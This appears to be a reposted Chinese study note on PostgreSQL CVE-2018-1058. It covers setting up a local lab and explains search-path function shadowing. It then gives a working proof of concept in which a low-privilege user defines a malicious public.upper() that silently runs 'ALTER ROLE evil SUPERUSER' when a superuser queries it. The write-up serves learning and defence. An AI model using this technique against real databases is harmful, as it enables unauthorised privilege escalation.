PostgreSQL远程代码执行漏洞(CVE-2018-1058)学习笔记

Posted 挖洞的土拨鼠

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了PostgreSQL远程代码执行漏洞(CVE-2018-1058)学习笔记相关的知识,希望对你有一定的参考价值。

零、参考文献和绪论:

1、先知社区chybeta大神的--PostgreSQL 远程代码执行漏洞分析及利用—【CVE-2018-1058】--一文

2、博客园hunchill的--Mac 下 PostgreSQL 的安装与使用--一文

一、PostgreSQL环境搭建:

在mac上面安装postgresql并启动postgresql

1 brew install postgresql
2 brew services start postgresql

二、创建用户配置环境:

1、初始化数据库,忘记在安装中还是初始化中,生成了超级用户,我的超级用户是hostname,这里使用bobac代替

1 brew services stop postgresql
2 initdb /usr/local/var/postgres -E utf8
3 brew services start postgresql

2、创建普通用户

1 createuser evil -P

3、创建数据库:

1 createdb evil -O evil -E UTF8 -e

三、原理分析介绍:

  这个漏洞的原理就是在public空间上重载函数,加入恶意的程序代码。等待其他账户,尤其是高权限账户调用这个函数的时候,就会执行恶意代码(以高权限执行)从而达到远程恶意代码执行的目的。

四、过程举例(参考)

1、创建表并插入数据(evil权限执行):

1 CREATE TABLE public.hehehehe AS SELECT \'evil\'::varchar AS contents;

2、定义函数(evil权限执行):

1 CREATE FUNCTION public.upper(varchar) RETURNS TEXT AS $$
2     ALTER ROLE evil SUPERUSER;
3     SELECT pg_catalog.upper($1);
4 $$ LANGUAGE SQL VOLATILE;

3、查询时候使用upper函数(bobac权限执行)

1 SELECT upper(contents) FROM hehehehe;

此时就执行了ALTER ROLE evil SUPERUSER;

4、然后查看用户权限:

1 SELECT rolname,rolsuper FROM pg_roles;

 

以上是关于PostgreSQL远程代码执行漏洞(CVE-2018-1058)学习笔记的主要内容,如果未能解决你的问题,请参考以下文章

风险通告SaltStack命令执行和目录遍历漏洞

php 远程代码执行漏洞 怎么修复

远程代码执行漏洞是啥意思

openssh 远程代码执行漏洞 怎么解决

远程执行代码漏洞有啥危害?

远程漏洞远程代码执行漏洞的二三事